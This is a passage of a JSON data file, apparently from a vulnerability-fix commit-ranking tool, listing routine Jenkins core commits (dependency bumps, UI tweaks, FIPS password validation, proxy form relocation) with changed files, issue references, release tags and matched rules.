"jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8741", - "relevance": 2 - } - ] - }, - { - "commit_id": "1e9372ee5742d18f1181acd307f5087eeba90187", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701651728, - "hunks": 30, - "message": "Move proxy configuration form out of pluginManager screens as it is not related (#8693) * Move proxy configuration form out of pluginManager screens as it is not related --------- Signed-off-by: Olivier Lamy ", - "changed_files": [ - "core/src/main/java/hudson/PluginManager.java", - "core/src/main/java/hudson/ProxyConfigurationManager.java", - "core/src/main/resources/hudson/Messages.properties", - "core/src/main/resources/hudson/PluginManager/advanced.jelly", - "core/src/main/resources/hudson/PluginManager/advanced.properties", - "core/src/main/resources/hudson/PluginManager/advanced_fr.properties", - "core/src/main/resources/hudson/ProxyConfigurationManager/config.jelly", - "core/src/main/resources/hudson/model/Messages.properties", - "core/src/main/resources/hudson/model/Messages_bg.properties", - "core/src/main/resources/hudson/model/Messages_de.properties", - "core/src/main/resources/hudson/model/Messages_es.properties", - "core/src/main/resources/hudson/model/Messages_fr.properties", - "core/src/main/resources/hudson/model/Messages_it.properties", - "core/src/main/resources/hudson/model/Messages_ja.properties", - "core/src/main/resources/hudson/model/Messages_lt.properties", - "core/src/main/resources/hudson/model/Messages_pt_BR.properties", - "core/src/main/resources/hudson/model/Messages_sr.properties", - "core/src/main/resources/hudson/model/Messages_zh_TW.properties" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8693": "Test core/8693 jenkinsci/acceptance-test-harness#1416 Basic ProxyConfigurationManagerTest #8952" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.435", - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8693", - "relevance": 2 - } - ] - }, - { - "commit_id": "932cb225d3bcbfe15f8f843feea970012927abaa", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701634669, - "hunks": 8, - "message": "Don't try to publish artifacts on RC GitHub releases (#8733)", - "changed_files": [ - ".github/workflows/publish-release-artifact.yml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8733": "chore: don't run 'Publish artifact' GitHub Action for RC lemeurherve/jenkins#1" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.435", - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8733", - "relevance": 2 - } - ] - }, - { - "commit_id": "78f1e9c8ebabab11d468f80572986e59a98a4d9c", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701548265, - "hunks": 33, - "message": "Upgrade bundled plugins (#8724)", - "changed_files": [ - "war/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8724": "[JENKINS-71666] Adapt to Popper deprecation in Jenkins core #8810 Upgrade bundled plugins #9091 Bump io.jenkins.plugins.mina-sshd-api:mina-sshd-api-core from 2.11.0-86.v836f585d47fa_ to 2.12.1-101.v85b_e08b_780dd #9093" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.435", - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8724", - "relevance": 2 - } - ] - }, - { - "commit_id": "f6de78afc3f3abf18180e204ef37e718a80dd161", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701548189, - "hunks": 73, - "message": "Update babel monorepo to v7.23.5 (#8738) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8738": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.435", - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8738", - "relevance": 2 - } - ] - }, - { - "commit_id": "ba64f8365ce56609d4b559d3ebfcda13e15d5f9a", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701465203, - "hunks": 1, - "message": "Bump actions/setup-java from 3 to 4 (#8727) Bumps [actions/setup-java](https://github.com/actions/setup-java) from 3 to 4. - [Release notes](https://github.com/actions/setup-java/releases) - [Commits](https://github.com/actions/setup-java/compare/v3...v4) --- updated-dependencies: - dependency-name: actions/setup-java dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - ".github/workflows/publish-release-artifact.yml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8727": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.435", - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8727", - "relevance": 2 - } - ] - }, - { - "commit_id": "48a855399bfbb9db863d20eb639b21f7fb33d1f2", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701465118, - "hunks": 1, - "message": "Bump com.github.eirslett:frontend-maven-plugin from 1.14.2 to 1.15.0 (#8737) Bumps [com.github.eirslett:frontend-maven-plugin](https://github.com/eirslett/frontend-maven-plugin) from 1.14.2 to 1.15.0. - [Changelog](https://github.com/eirslett/frontend-maven-plugin/blob/master/CHANGELOG.md) - [Commits](https://github.com/eirslett/frontend-maven-plugin/compare/frontend-plugins-1.14.2...frontend-plugins-1.15.0) --- updated-dependencies: - dependency-name: com.github.eirslett:frontend-maven-plugin dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", - "changed_files": [ - "war/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8737": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.435", - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8737", - "relevance": 2 - } - ] - }, - { - "commit_id": "39d9b6079ab19f60bba3fa27db996f6301fb227b", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701274784, - "hunks": 3, - "message": "Update dependency hotkeys-js to v3.12.2 (#8726) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8726": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.435", - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8726", - "relevance": 2 - } - ] - }, - { - "commit_id": "37622ec88a4f5e70f5980c78f7a0bdf3869ae9a2", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701211761, - "hunks": 2, - "message": "Remove reference to timeline widget in build history (#8718) Init Co-authored-by: Alexander Brandes ", - "changed_files": [ - "core/src/main/resources/hudson/model/Job/buildTimeTrend_resources.js", - "core/src/main/resources/lib/hudson/buildListTable.jelly" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8718": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.435", - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8718", - "relevance": 2 - } - ] - }, - { - "commit_id": "edd70cdb30b9a47d02259212dd11d6fd37ac8a98", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701202485, - "hunks": 3, - "message": "Update dependency hotkeys-js to v3.12.1 (#8723) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8723": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.435", - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8723", - "relevance": 2 - } - ] - }, - { - "commit_id": "abe7181b63a705033b48e09823bfaf6ce18cd4ae", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701113820, - "hunks": 0, - "message": "Merge pull request #8721 from krisstern/feat/stable-2.426/backporting-2.426.2-1 Backporting for 2.426.2", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8721": "2.426.2 Release Checklist jenkins-infra/release#472" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.426.2", - "jenkins-2.426.2-rc-1", - "jenkins-2.426.3", - "jenkins-2.426.3-rc" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8721", - "relevance": 2 - } - ] - }, - { - "commit_id": "f9f542bffd9f38189f3c1393475b473f1f0e035e", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701079755, - "hunks": 3, - "message": "Added validation of FIPS password length (#8694) Co-authored-by: Daniel Beck <1831569+daniel-beck@users.noreply.github.com>", - "changed_files": [ - "core/src/main/java/hudson/security/HudsonPrivateSecurityRealm.java", - "core/src/main/resources/hudson/security/Messages.properties" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8694": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.434", - "jenkins-2.435", - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8694", - "relevance": 2 - } - ] - }, - { - "commit_id": "aedae5bccf9121e0769e683d6641ac34616ae630", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701037242, - "hunks": 1, - "message": "Avoid scrollbar in dropdown popups (page footer, log recorder) (#8704)", - "changed_files": [ - "core/src/main/resources/lib/layout/overflowButton.jelly" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8704": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.434", - "jenkins-2.435", - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8704", - "relevance": 2 - } - ] - }, - { - "commit_id": "33b62b5db5ebe9c2ec70176c1a025359fc322271", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701033179, - "hunks": 1, - "message": "Update dependency node to v20.10.0 (#8720) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8720": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.434", - "jenkins-2.435", - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8720", - "relevance": 2 - } - ] - }, - { - "commit_id": "af941ceaea13f45f525cd877c74e63cf1597a367", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1701033128, - "hunks": 4, - "message": "Update dependency @babel/cli to v7.23.4 (#8716) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", - "changed_files": [ - "war/package.json", - "war/yarn.lock" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8716": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.434", - "jenkins-2.435", - "jenkins-2.436", - "jenkins-2.437", - "jenkins-2.438", - "jenkins-2.439", - "jenkins-2.440", - "jenkins-2.440.1", - "jenkins-2.440.1-rc", - "jenkins-2.440.2", - "jenkins-2.440.2-rc", - "jenkins-2.440.3", - "jenkins-2.440.3-rc", - "jenkins-2.441", - "jenkins-2.442", - "jenkins-2.443", - "jenkins-2.444", - "jenkins-2.445", - "jenkins-2.446", - "jenkins-2.447", - "jenkins-2.448", - "jenkins-2.449", - "jenkins-2.450", - "jenkins-2.451", - "jenkins-2.452", - "jenkins-2.452.1", - "jenkins-2.452.1-rc", - "jenkins-2.452.2", - "jenkins-2.452.2-rc", - "jenkins-2.452.3", - "jenkins-2.452.3-rc", - "jenkins-2.452.4", - "jenkins-2.453", - "jenkins-2.454", - "jenkins-2.455", - "jenkins-2.456", - "jenkins-2.457", - "jenkins-2.458", - "jenkins-2.459", - "jenkins-2.460", - "jenkins-2.461", - "jenkins-2.462", - "jenkins-2.462.1", - "jenkins-2.462.1-rc", - "jenkins-2.462.2-rc", - "jenkins-2.463", - "jenkins-2.464", - "jenkins-2.465", - "jenkins-2.466", - "jenkins-2.467", - "jenkins-2.468", - "jenkins-2.469", - "jenkins-2.470", - "jenkins-2.471", - "jenkins-2.472", - "jenkins-2.473", - "jenkins-2.474" - ], - "matched_rules": [ - { - "id": "GITHUB_ISSUE_IN_MESSAGE", - "message": "The commit message references some github issue: 8716", - "relevance": 2 - } - ] - }, - { - "commit_id": "f0846d9797b85fa3369a267cd8045211314640b7", - "repository": "https://github.com/jenkinsci/jenkins", - "timestamp": 1699112837, - "hunks": 2, - "message": "[JENKINS-72266] Upgrade Winstone from 6.14 to 6.16 (upgrade Jetty from 10.0.17 to 10.0.18 (#8666) [JENKINS-72266] Upgrade Winstone from 6.14 to 6.16 (upgrade Jetty from 10.0.17 to 10.0.18) (cherry picked from commit d3295776738cb4675161e71c992777b4605991e8)", - "changed_files": [ - "pom.xml", - "war/pom.xml" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": { - "8666": "" - }, - "cve_refs": [], - "twins": [], - "tags": [ - "jenkins-2.426.2", - 